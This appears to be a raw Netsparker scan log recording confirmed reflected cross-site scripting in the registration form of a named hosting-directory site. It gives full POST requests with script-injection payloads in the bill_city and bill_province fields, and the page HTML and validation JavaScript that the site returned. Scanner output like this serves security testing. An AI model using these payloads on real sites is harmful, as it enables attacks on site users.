<option value='2DFD5761645828D6F48BA9566EE69F60C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D66597D022C1F6839D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D6B7FF5503547A5EB1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D609F765EA5328405EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D6F0CEDD58C358153D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D668254C1B3BC799A2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6935AF5873EDE6060C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D6445CAE99DF9A8DCE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D692A5A2B91DB51033C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D6F108A67DE06B509A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D6C8AE8D473A1184C8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D6EC6F81A735A861C7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D68825DDD8E31664BBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D67162DE6C17E7BC1BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D6F9597B62F5C08A2BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D697F68B286BBD9C9DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D6F9A34357DA34DE346F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D68CD23D31C56DA14C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D6B5B8E72B11781DBF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST '"--></style></script><script>alert(0x001E8F)</script>
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E8F)%3c%2fscript%3e&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:52 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D63CCC9E1B3E992A76C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D63318C6AB1E5F540A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D64FADFA971CE5AFD7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6FC2CAB3FB60C8FCCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D600DD1A946CAB48706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D6C241E0B4CC7F1ED9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D654C29A8C08ED61FFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D68B804237E193AE596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D673358E87656AC428C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D66E219DF54CFF55856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D63C1764EA918657E7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D66F3130A0DCAB8223C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D68A3261C0CDB26EC4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D68AFC62030B087284C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D603A47B4503C4B712C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D620C8F00148577871C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D6E8FBEB22BCF939866F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D67483B06B4E0184606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D6824B8496A7EC0F6F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST '"--></style></script><script>alert(0x001E9F)</script>
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E9F)%3c%2fscript%3e&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:40:04 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType 